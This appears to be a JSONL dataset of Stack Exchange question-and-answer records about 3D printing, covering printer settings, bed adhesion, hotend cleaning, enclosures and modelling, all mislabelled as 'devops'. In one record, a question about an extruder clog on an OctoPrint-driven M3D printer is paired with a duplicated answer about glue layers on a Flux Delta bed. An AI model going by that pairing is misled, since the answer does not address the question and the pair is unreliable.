{"id": "hf_0caf781503d2", "question": "<p>I am looking to others who have successfully printed in ABS using a Wanhao Duplicator i3. </p>\n\n<p>I have tried and get a lot of warping and delamination. I tried putting a large box over the printer which did help with the warping some but I am still getting some layer separation. I used 235&nbsp;°C for the extruder and 100&nbsp;°C for the bed. I am printing at 40&nbsp;mm/s and 0.2&nbsp;mm layer height. </p>\n\n<p>If someone has ABS and PETG settings for this printer, your help would be appreciated.</p>\n", "question_body": "", "answer": "I am an official Wanhao Distributor\nBy experience I can recommend you to print with this settings:\nExtruder 230 °C\nHeated Bed 65 °C\nHave a glass surface\nUse hairspray over the glass\nContinue to enclose the printer or at least put it where there is almost no wind\nPrint at 45 mm/s\nNote that this settings vary a lot depending on humidity and other factors related to where you are printing, so it would be very useful to know where in the globe are you experimenting.\nAlso note that humidity is very very bad for 3D Printing Filaments so keep them sealed while not using them.\nPlease do  comment if you have any more doubts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.625981"}
{"id": "hf_7ec32ec29a64", "question": "<p>I have seen mechanical (micro switch), optical  and magnetic(magnet + hall sensor) end stops.</p>\n\n<p>Are there any differences in how exact they switch at the right location? If so which are the most precise?</p>\n", "question_body": "", "answer": "I think there are several factors involved in which sensors are best, but the general ordering for me would be Hall, Optical followed by mechanical. All of the types will be subject to some drift due to vibrations and changes in the printer over usage. Therefore it's the ease of adjustment as well as the accuracy of the stop which counts in the assessment.\nIn my experience the hall effect sensors are the most accurate and easiest. They don't rely on physical switching (as with the mechanical) meaning there is no \"wear and tear\" on the component and the point of switching will remain fixed. They have a potentiometer which can be adjusted to make the position of the stop change without any mechanical intervention allowing very fine tuning. They can be very accurate.\nOptical are similarly accurate but usually have a fixed component that cuts the beam to switch on/off the sensor. The adjustment of the stop will usually be mechanical because the mount points will need to be adjusted - this reduces their accuracy. There are various adjustable mounts to alleviate this on thingyverse or the like.\nMechanical switches are similar to optical in terms of adjustment with the added inaccuracy of the actual switch mechanism which may degrade over time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.650664"}
{"id": "hf_fe77950b6cb0", "question": "<p>I am very close to buying a 3D printer and have started to do some preliminary design work from the things I'd like to make, but I have a question: Which corner of the print bed corresponds to the origin (0,0,0) in slicer software? Is this the same across slicers and printers?</p>\n\n<p>The reason I ask this is because of the difficulty some have in removing items from the bed. It seems to me like I'd want to print small items closer to the front of the printer to make access easier, but it looks like most slicer hosts only show a box representing the build volume with no real indication of what's \"front\".</p>\n", "question_body": "", "answer": "Depending on what kind of printer you have, the build table origin and slicer origin (0,0) are usually either the front left corner, or the center of the build plate. This can be changed by the end-user in most open-source printers. There is no standard or requirement for a particular origin location. The important thing is merely that the slicer and printer coordinate systems match, so parts actually come out where your slicer thinks they should.\nIn practice, it's usually quite easy to tell what's \"front\" in your slicer's build volume. When you open the program, the bed usually appears as it does when you stand in front of your printer. It is rarely an issue.\nIn terms of difficulty removing prints from the bed, a removable build plate is an excellent solution. Plastic has a higher coefficient of thermal expansion than most build plate materials (like glass), so throwing the print+plate in your freezer will generate large separation forces and help remove the part for you. Non-removable build surfaces are a deal-breaker for most serious 3D printer users I know. Either don't buy such a printer, or add a removable plate yourself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.675471"}
{"id": "hf_c67faa18d005", "question": "<p>I recently decided to upgrade to auto bed-leveling using an inductive proximity sensor and an aluminum build plate on my Prusa i3. I also wanted to try to secure the build plate using neodymium magnets at 4 points, with the magnets being secured with bolts to the Y-carriage, and steel washers glued to the bottom of the aluminum build plate (since aluminum is not magnetic).</p>\n\n<p>I would like to know if anybody has attempted this, and what the results were, as well as any issues incurred. My primary concern is a possible interference between the small magnetic field that is created by the magnet, and the sensor when probing the plate. I fear this question may sound a little open-ended, but I would just like to know if this could work. Please feel free to ask any follow up questions to details I may have missed. Thank you.</p>\n\n<p>P.S. I would also like to note, in case there is any relevance, I do not plan on using a heated build plate, since I have a heated build chamber.</p>\n", "question_body": "", "answer": "Good question. The magnets from the build plate will almost certainly interfere with your inductive sensor, the movement from the carriage will induce a current in the inductor as it approaches the magnet and may cause it to trigger. If you're looking for a mag build, I'd suggest looking at:\nhttp://www.3dprintermods.com/prestashop/index.php?id_product=9&controller=product\nI'm just about to get into auto-leveling myself, with this particular build there are a few ways to get around the issue. If you plot your auto level to occur as far from the magnets as possible (x,y location wise), then you might be ok. Otherwise you might consider investigating optical and touch probes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.724300"}
{"id": "hf_9a5475bc2239", "question": "<p>I have a Prusa i3 that I am mostly happy with. However, I am seeing these strange artifacts when the extruder moves along one axis in one direction - in particular from the back of the printer towards the front. The extruded lines look uneven and the surface is quite rough, but only in that area and only while the extruder moves in that direction.</p>\n\n<p>Here is a recent print that shows this happen. The pieces were printed side by side, and both of them show this on the left hand side, while the right is okay.</p>\n\n<p><a href=\"https://i.stack.imgur.com/MNLHp.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/MNLHp.jpg\" alt=\"Left hand side of the print shows uneven and rough lines\"></a> </p>\n\n<p>I am thinking maybe the extruder tip is slanted (not perpendicular to the bed), which causes some sort of scraping while extruding? What do you think?</p>\n", "question_body": "", "answer": "In case of such difference in printing in different directions you can check if;\nfor x and partially z axis\nfilament is blocked and cannot be pulled as it should\nspool is blocked\nfor x and y axis\nrods on which caret/HB is sliding are parallel\ntiming belt idlers are parallel and they are in a line\nShape of the nozzle or its perpendicularity should not be the case as it's hot and it wipes layer itself.\nYou can also check if it's not an issue of cooling fan. It can vibrate as such.\nEventually it could be an issue of cooling itself. Let's assume you have cooling fan at the back and it pushes air to the front then when caret moves from the front to the back then cooling time is longer than when the fan goes in opposite direction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.747988"}
{"id": "hf_851a5bd83e37", "question": "<p>I have a Flashforge Creator Dual.</p>\n\n<p>One corner of my print bed is warped down.  I am thinking about having a steel print bed made so it would tend to stay flat. </p>\n\n<p>Has anyone tried this?</p>\n", "question_body": "", "answer": "I would consider getting another aluminum build plate for the following reasons:\nLightweight\n. Aluminum is a very lightweight metal, making it suitable for most machines that have injection molded platform arms. This reduces potential sagging of the arms and overall load on the -Z- axis stepper motor.\nConductivity\n. Referring to\nthis\nsimple Google search for heat conductivity, aluminum is significantly more conductive than steel (205 vs 43 respectively) with copper at about double that of aluminum.\nAvailability\n. Aluminum is already a widely used material for 3D printing, so finding one will be relatively easy and probably cheaper than having a steel build plate custom made.\nIn conclusion, I personally would not recommend using steel for your build plate as aluminum seems to have the most benefits. Yes, steel will be more rigid and durable, but I don't think that these should be variables that are significantly more beneficial over aluminum.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.809226"}
{"id": "hf_a0a8c460ba50", "question": "<p>I use Prusa i3 with one extruder for some years and I would like to print from one material in two colors or from different materials for one model. Therefore I'm lookig for new printer with dual extruder.</p>\n\n<p>Is there some way how to measure and/or compare quality of printers with dual extruder on the market?</p>\n\n<p>For example to create 3d model - ask the seller(s) to print it - and then compare? - what details to focus on?</p>\n", "question_body": "", "answer": "As you suggest yourself, ordering test prints of some model is one way to do it.\n3D Hubs\nand\nMakeXYZ\nallows you to get your model printed by hobbyists and small businesses for a fair price. Both sites also allow you to order prints based on printer type, which I believe is what you may be looking for.\nOn 3D Hubs, visit on of the\ntrend reports\n, and select the printer you want a sample from. Similarly, on MakeXYZ,\nsearch local makers\nfor your desired printer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.834558"}
{"id": "hf_98636f68c282", "question": "<p>I just received my E3D v6 hotend and I am installing it on the open source design of a Prusa i3. How do I clean my hotend after each print and after using different filaments?</p>\n", "question_body": "", "answer": "Usually there is no need to clean the hotend, as filament sticks well to itself rather than to the inside of the hotend. If there are remains - the simplest way to clean it up is to extrude 5-10 cm of new filament, which will gather all remainings clean the hotend.\nThe above concerns changing filament in the same group of plastic. So if you print PLA you can switch colors/manufacturers and so on without issues. The same goes for ABS.\nThere is also usually no problem when switching from PLA to ABS.\nThe worst scenario is to switch from ABS to PLA. This is because the extruding temperature of these two materials is different. Unfortunately ABS can have such a high melting temperature that the PLA will burn. So having a dirty hotend with ABS remainings, there is no way to extrude PLA to clean the hotend because the PLA temperature will not result in melting ABS. It can eventually lead to total plug of HE.\nSo what can you do when you are in such a situation (ABS -> PLA)?\nYou can clean the hotend first with ABS. Extrude some, wait until it is cold, ease the springs and pull or tear out the filament from the hotend.\nIf you are stuck you can use special drills to clean the nozzle.\nBut to totally omit the issue you can have two hotends :) One for ABS and one for PLA ;) But I think you can manage cleaning if you apply what I've written above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.896516"}
{"id": "hf_6b570eeefdf1", "question": "<p>BuildTak is great because the printed plastic really sticks to it, it pretty much solved all the problems I had with prints detaching from the buildplate during printing.</p>\n\n<p>However, it does sometimes cause the opposite problem of prints sticking too much and just not detaching from the build plate.</p>\n\n<p>I'm specifically not asking how to prevent this from happening - I'm asking what to do after I made a mistake and now have a print that isn't coming loose.</p>\n", "question_body": "", "answer": "If you have a heated bed, bring the bed up to a reasonable temperature, then do as best as you can to create rapid cooling. If you can remove the bed, heated or not, consider to place it in a freezer or refrigerator. Obviously, if the bed is heated, you'll want to handle the bed carefully and not place it on anything in the freezer that could be damaged while it cools.\nUnrealistically, pour liquid nitrogen over the bed. This may crack the bed and/or the model, as well as be all the more dangerous for unprotected users.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.933065"}
{"id": "hf_5ea07059e1b9", "question": "<p>What is the least expensive 3D printer available today? I am looking for something suitable for general use in a home office.</p>\n", "question_body": "", "answer": "Depends on your definition of \"available\" and your definition of \"suitable for general use.\"\nThe cheapest 3D printers are mostly Kickstarter promises that take a year or more to ship, if they ever do. For example, the Peachy 3D printer Kickstarter just imploded and failed. There have been many other failed low-cost 3D printer crowdfunding campaigns. Another low cost Kickstarter printer, the 101Hero, is ongoing now (May 2016), but most competent observers I've talked to don't believe it will succeed at delivering working printers to all backers at that price point. If they do deliver, it will be painfully low-cost components and the printer will not perform well or last long.\nStay away from crowdfunding campaigns for your first printer.\nAt best, you get a beta product with lots of kinks to work out. At worst, you get nothing and lose your money.\nFor actual products you can purchase today, there's a wide spectrum of quality/cost tradeoffs.\nUnder \\$200 there's nothing credible. The Tiko (\\$179) might deliver, but post-Kickstarter units are widely expected to cost more.\nAround \\$200-300 you get into low-quality Prusa i3 kits from China. These aren't a great value -- most people end up spending another few hundred dollars on upgrades to get them working reliably and with high quality.\nAround \\$300-400 you can get an\nok\n3D printer, often with \"chipped\" proprietary filament so the vendor can make high profits on locked-in consumables. (\"Razors and blades\" model.) For example, the XYZPrinting Da Vinci Jr is \\$350 but locks you into high-cost chipped filament. The Wanhao Duplicator i3 is currently a community favorite for value-for-money at \\$399. The Printrbot Play is much higher quality/reliability but much smaller at the same price.\nIf you get up around \\$600, a big range of decent printers opens up. But this is no longer the \"least expensive\" option, so I won't get into it.\nIf you want to tinker, the Duplicator i3 is a good choice. If you want a machine that just prints, the Play is a good choice. There are other printers and cheaper printers, but most of what you'll find below $400 is going to end up causing pain unless your goal is simply to tinker with printer troubleshooting and upgrades.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.955663"}
{"id": "hf_1d9485f94371", "question": "<p>I'm running Repetier Host v1.6.1 with Repetier Firmware v0.92.9.  My computer is running Windows 7 Pro SP1, 64-bit.</p>\n\n<p>If I set a print going via USB then switch to another user (note: I do not log out), then the pinter's display shows that the command buffer drops from 16 to 0 until it stops printing altogether.  If I switch back to the user that is running Repetier Host then the buffer fills up again and the print job resumes.</p>\n\n<p>Before I updated Repetier Host this didn't happen, I could leave it running while I switched users and the job would run just fine.  I'm not sure why this behaviour has changed, but is there any way to get it to run properly under a background user?</p>\n", "question_body": "", "answer": "I believe what happens here is that Windows suspends the process running the print job, either due to the program not being in focus, because you switch user, or both.\nYou could try to\nincrease the priority of the print process in task manager\n, and see if that helps.\nIn Windows 7:\nOpen Task Manager\nIn the\nApplications\ntab, right click the application, and select\nGo To Process\n, which will take you to its background process in the\nProcess\ntab.\nRight click the process, go to\nSet Priority\nand select some priority higher than the current level.\nIn Windows 10:\nOpen Task Manager\nIn the\nProcesses\ntab, right click the application, and select\nGo To Details\n, which will take you to its background process in the\nDetails\ntab.\nRight click the process, go to\nSet Priority\nand select some priority higher than the current level.\nPS:\nAvoid setting the priority to Realtime\n, as that effectively will give the process full control of your computer's resources, which could kneel your computer if the program is poorly written.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:45.993746"}
{"id": "hf_217cb344c1e8", "question": "<p>I've been having a hard time lately getting the raft off of my ABS prints.</p>\n\n<p>Is that a symptom of either a nozzle or bed that are too hot? Or is there some other factor I should be looking in to?</p>\n\n<p>I have an UP mini that I've modified both the nozzle and bed to customize the temperatures on.</p>\n\n<p>Bed gets heated to 100˚C and nozzle is either 266˚C for UP ABS filament or 236˚C for off-brand ABS filament.</p>\n", "question_body": "", "answer": "A couple things to consider:\nEnsure that your build plate is flat and level. An un-parallel HBP could result in the object \"welding\" to the raft.\nTurn down your nozzle temperature. It is likely that the material is hotter than it needs as it is extruding. This results in a slower \"cool-down rate\". So, if it takes longer for the filament to cool between the raft and the first layers of the object. Therefore, cooling together in a manner that somewhat binds them.\nPersonally, 266C seems VERY high to me. I've primarily only used ABS on my MakerBot and have successfully printed with 225C +-5C nozzle temperature and 110C +-2C HBP temperature.\nTypically you want to extrude slightly above the melting point. You don't want to liquefy the material, but make it pliable enough to bond it to other layers of material (or a BP).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.042202"}
{"id": "hf_e1c132471ac7", "question": "<p>I've been working on my own DIY 3-D printer recently, and I've been trying to experiment a little with different materials for the body. Someone suggested using HDPE (high-density polyethylene), since it works well on a CNC machine, which would make creating a number of prototypes easy. I know HDPE can also be used for filament, but I've never tried it before. Does anybody have any input on HDPE, or other potential materials for the body? I'm trying to avoid using wood, as I've had some poor experiences with it.</p>\n", "question_body": "", "answer": "I've used what is commonly described as UHMW-PE, aka, Ultra-high Molecular Weight Polyethylene for various projects. You may know this material is often used in cutting boards, as it cleans easily and doesn't cut easily.\nit does machine in a manner similar to aluminum, although the tool should be cooled/lubricated to prevent a build-up of melted plastic on the cutting edges. You can get away without coolant or lubricant if cutting speeds are slow and the swarf is cleared away from the cutter.\nI'd not considered such a material for constructing a 3d printer, as it's expensive, but I've also not compared the prices to equivalent sizes of aluminum.\nI'd consider that the use in a 3d printer would be a good substitute for lexan, as one can tighten the bolts without fear of cracking. For bolts subject to rotation or vibration, self-locking nuts are a good idea. If you have use of a broach, cutting out a pocket for the nuts would be easily accomplished.\nI have downloaded the plans for the open-source 3d printer known as DICE, which calls for aluminum, but the pricing I've found was excessive for the right quantities. I think I'll explore the same bill of materials in HDPE or UHMW-PE (which may be different names for the same substance).\nEqually useful to know is that the material is very slippery, effectively self-lubricating under the right conditions. Unfortunately, for a 3d printer application, I don't believe the self-lubricating part would work for carriages but might be fun to try with linear slides.\nIt is not as stiff as aluminum, so where stiffness is needed and not provided by the architecture, a thicker piece may be indicated. I can just barely bend with my fingers a piece of 3 mm (1/8\") a small amount, but cannot do so for aluminum.\nHere's the result of a quick search for UHMWPE:\nhttps://www.interstateplastics.com/Uhmw-Natural-Virgin-Sheet-UHMNV~~SH.php?thickness=0.125&dim2=12&dim3=24\nwhich gives a price for 1/8\" white sheet 24 x 12\" as US\\$ 26.06 while the black version is available only as thin as 1/4\" for about US$ 28.00\nThe equivalent size in aluminum 6061T6 at onlinemetals.com is about US\\$ 3.00 more expensive. That is lower than I expected, skewing the idea farther away from UHMWPE than one might hope. The equivalent for 1/4\" is almost US\\$ 60, quite a bit higher.\nIt would appear that if you need the thicker stuff, the price is better for plastic, not so good for the aluminum.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.091364"}
{"id": "hf_b4eec26eadc2", "question": "<p>I have an object that I want to print in 3D. But I have a few questions about it. What are the things that I have to watch out for when 3D printing?  </p>\n\n<p>I know how to change the metric size etc. Some  people said that it's best to set the thickness to a low amount and not make the object solid (to leave the inside empty/hollow) in order to save money when printing.</p>\n\n<p>Is this true or does it not matter?</p>\n\n<p>Also what if I want two parts of an object to be separate colours or materials?  Do I have to change this in Blender? </p>\n\n<p>Any advice and information would be helpful, thanks.</p>\n\n<p><a href=\"https://i.stack.imgur.com/TG6Mg.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/TG6Mg.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/KIEy1.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/KIEy1.png\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "You are correct about the walls. Using a\nSolidify\nobject modifier is probably your best bet. A low\nThickness:\nvalue (\n0.1\nis probably good) helps keep the walls thin but strong. You can monitor the thickness while you adjust the value from\nWireframe\nview.\nAdditionally, and\nthis is probably the most important thing to know\n, your mesh must be clean. By clean, I mean it must all be one piece. No separate cubes, cylinders, etc. that you added while modeling, just one solid piece. Think about it this way. If you have added a cube and part of that cube is inside the rest, it might look good from the outside. But the 3D Printer isn't printing the outside, it's printing everything. So that wall, albeit hidden, that is present on the inside of your mesh\nwill be printed\n.\nBad:\nGood:\nLastly, if you have parts of your mesh that can't be printed from the bottom up, or wouldn't stand by itself, consider adding supports. You can always cut these off later.\nLeg added because it wouldn't stand by itself:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.130958"}
{"id": "hf_5882819eda5b", "question": "<p>First, a little background. A couple of years ago, I was researching making my own candy, and I came across this page: <a href=\"http://www.instructables.com/id/LeGummies-brick-shaped-gummy-candies/\" rel=\"nofollow\">Lego brick shaped gummy candies</a>, describing how to use real Lego bricks as a positive to make silicone molds for Lego brick shaped candy. Now that I have a 3D printer, and inspired by the usual description of ABS filament (\"It's the same plastic used to make Lego bricks\") it occurs to me that I can now make any positive I want.</p>\n\n<p>The question is, would that be safe? I know the filament I'm using is not food safe, but if I create positives for a food safe silicone mold, would toxins leech into the mold? And if so, is there a barrier I can use to prevent this, such as some kind of coating?</p>\n", "question_body": "", "answer": "The plastic is not quite your main concern (though it still can be). You should worry about the cracks and crevices in FDM prints. Bacteria loves to hide there. For most people, this is the first concern when it comes to \"Is X 3D printed food-safe?\" If the end product is a hard material, you should sand or smooth your print to prevent the layer crevices from appearing in the end use product. Also consider food-safe epoxies for filling in gaps. If the end product is made of a flexible silicone, then this is less of a concern.\nABS is not food safe. PLA as a material is considered food safe by the 3D printing community, but I have not seen a scientific study on this. However, many filament makers do not extrude pure PLA. Therefore, the answer to your question is that it depends on the manufacturer. You will need to contact the company to know what is in the filament first. Beware of untrustworthy manufacturers that claim food safety without backing that up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.184214"}
{"id": "hf_53ce9786c873", "question": "<p>I have a home built RepRap with all sides open..</p>\n\n<p>Would there be any advantage to enclosing the print area in acrylic?</p>\n", "question_body": "", "answer": "It is hard to tell whether you personally should enclose your printer. However, you asked for the advantages and I will name some of them on which one can base a decision.\nA 3D printer enclosure\nhelps to keep the temperature of the whole print at controlled levels, if you use a heating element, thermocouple and\npid regulator\n. This is one of the most direct uses of the enclosure, which can be achieved by almost no other means. One could sloppily say it does for the whole print what the heatbed does for the initial layers. Controlling the temperature can be beneficial for layer adhesion and can help against delamination problems. This can go as far as fixing cracks and complete delamination (Thanks to @J. Roibal for bringing these cracks to my attention in the comments)\nkeeps\ndangerous fumes\ncontrolled. Here you can find a scientific study about it, published in\nAtmospheric Environment 79, titled 'ultrafine particle emission from desktop 3D printers\n, on exactly that topic. You can embed a\nfilter with a fan\nin your housing to filter the air from all dangerous fumes that are created when melting certain plastic types. It could just circulate the air inside the chamber or get the filtered air out of the housing. This is another use which cannot be achieved otherwise (afaik).\ncan keep humidity away from your printer. This is helpful for filaments that attract water (and don't print well under that circumstance). This should be realized separately for stored filament, too, adding some silica gel to regulate humidity. (Thanks to @Obmerk Kronen in the comments)\nminimizes losses of your heatbed. This happens in at least two ways, - the heated bed will also heat the surroundings, that is the inside of the enclosure. By raising its temperature, the temperature difference and hence heat loss is minimized. Also wind, introducing high fluctuations in the transfered (i.e. lost) heat is minimized. In that sense, it also\nshuts out any wind for print temperature stability. Also dust and particles that could be blown on the print will be shut out (thanks to the addition of dust/particles: @Obmerk Kronen). This is a benefit that comes without having a heated chamber or filter.\nhelps to keep the printer clean in between use. Your axes will thank you being free from dust.\nreduces smell and noise. If you use the printer in you living area, that alone can be a great benefit.\nmakes sure that your printer is safe during storage, nothing will fall on it.\ncan look pretty nice and add to the style of your printer,\neven if selfmade\n;-)\nThere are obviously also downsides, as: connected work/money to make it, increased space used for the printer, and, if not well made for that purpose (which it should be), increased difficulty in repairs and maintenance of the printer itself (i.e. to get the printer out of the enclosure).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.229840"}
{"id": "hf_b182a3fa72bc", "question": "<p>I am printing on a non-heated bed right now, but the question also applies to heated building plates. </p>\n\n<p>How often should you replace the glue layers that's supposed to be applied before printing? Some say you can do up to a few prints, such as in this <a href=\"https://ultimaker.com/en/community/19056-glue-stick-or\" rel=\"noreferrer\">forum</a>, while others say to replace it every print. What is the correct approach?</p>\n", "question_body": "", "answer": "As noted in the answer to the other question you asked, the Flux Delta steel plate bed will handle multiple layers of glue. The determining factor regarding this particular printer and specific glue is how many ripples, bumps and/or lines you are willing to tolerate on the first layer of your prints.\nYou'll notice that a print made with a couple layers of glue, freshly applied, will have a relatively smooth surface. Peel off the model, apply glue over the now-cleared areas, and you've created a slightly-less-than-smooth surface for your next model.\nI've found that I can apply six to ten layers before the ripples become objectionable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.276352"}
{"id": "hf_187fb2a33929", "question": "<p>I use OctoPrint on an Ubuntu system with a M3D printer.</p>\n\n<p>Midway through a recent print, the filament just stopped extruding although the motor-functions of the printer were proceeding fine. Since then, every print I attempt has trouble extruding proper amounts of filament. It's always not enough. The output is stringy and not cohesive.</p>\n\n<p>I'm thinking there may simply be a clog in the extruder and wondering the safest way to remove it.</p>\n\n<p>The weird thing, though, is that when I use manual control and extrude at, say, 220C, the filament comes out fine.</p>\n\n<p>You can see the raft definitely isn't printing right. Way too little output:</p>\n\n<p><a href=\"https://i.stack.imgur.com/M4Ih4.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/M4Ih4.png\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "As noted in the answer to the other question you asked, the Flux Delta steel plate bed will handle multiple layers of glue. The determining factor regarding this particular printer and specific glue is how many ripples, bumps and/or lines you are willing to tolerate on the first layer of your prints.\nYou'll notice that a print made with a couple layers of glue, freshly applied, will have a relatively smooth surface. Peel off the model, apply glue over the now-cleared areas, and you've created a slightly-less-than-smooth surface for your next model.\nI've found that I can apply six to ten layers before the ripples become objectionable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.314129"}
{"id": "hf_af5bfd663d8c", "question": "<p>I'm new to 3D Printing. I've created this star from Blender3d. As far as I know, most printers require a flat bottom.</p>\n\n<p>As you can see (blue line is Z-axis, red line is X-axis, green line Y-axis), the star doesn't have any flat sides or points.</p>\n\n<p><a href=\"https://i.stack.imgur.com/Mh6Bw.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/Mh6Bw.png\" alt=\"enter image description here\"></a></p>\n\n<p>There's a hole in the middle of the star.\n<a href=\"https://i.stack.imgur.com/V4a6C.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/V4a6C.png\" alt=\"enter image description here\"></a></p>\n\n<p>Is there a printer (brand/model) that can print this object that doesn't have any flat bottom or sides having a hole that goes through in the middle? Any workarounds to print this object?</p>\n", "question_body": "", "answer": "Typical FDM desktop 3D printers might struggle with this model as it requires you to either print large overhangs and use support structure (when printed laying down), or lacks a natural flat bottom surface to get good print adhesion (when printed upright). A couple of suggestions:\nSome FDM printers are great at printing support, and some even allow you to print dissolvable support structure. If you find one of these, you are home safe.\nYou could split the model in two, print those parts separately, and then glue them together afterwards. This is quite common for complex models, and allows you to print your model on even basic FDM printers. Tom's answer illustrates this well.\nThere are naturally other 3D printer technologies too (SLA, resin etc.), but I have no practical experience with these myself, and leave it up to others to give you a good answer regarding these.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.339637"}
{"id": "hf_f706a0289605", "question": "<p>I have this <a href=\"http://www.thingiverse.com/thing:1381474\" rel=\"noreferrer\">GoPro mount for a quadcopter as STL file</a>. It looks as follows.</p>\n\n<p><a href=\"https://i.stack.imgur.com/qcZOR.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/qcZOR.png\" alt=\"enter image description here\"></a></p>\n\n<p>How do I modify it so that it is wider and longer by a few millimeters but the screw holes stay the exact same size? Additionally the angle of the upper surface must stay the same. Please suggest the easiest solution for someone like me who as no idea about CAD software.</p>\n\n<p>The perfect solution for me would be to just import it in Tinkercad and then modify it however I have no idea what the steps are.</p>\n", "question_body": "", "answer": "Many resources are available for modification using 3D CAD (including learning a tool such as sketchup, which is VERY beginner friendly). The easiest and fastest solution to your particular problem may be the\nreddit community \"3D Print My Thing\"\nwhich was created for EXACTLY this type of situation (help with modelling parts which will be 3D printed.) Another potential useful reddit community is\n\"3D Modelling\"\nwhich will have many people who are able to help you with this quadcopter/Go-Pro attachment 3D model.\nThird solution: Thingiverse has a customize option for 3D models (including this one). have you explored using this interface to edit the model? This is most likely the easiest DIY solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.377114"}
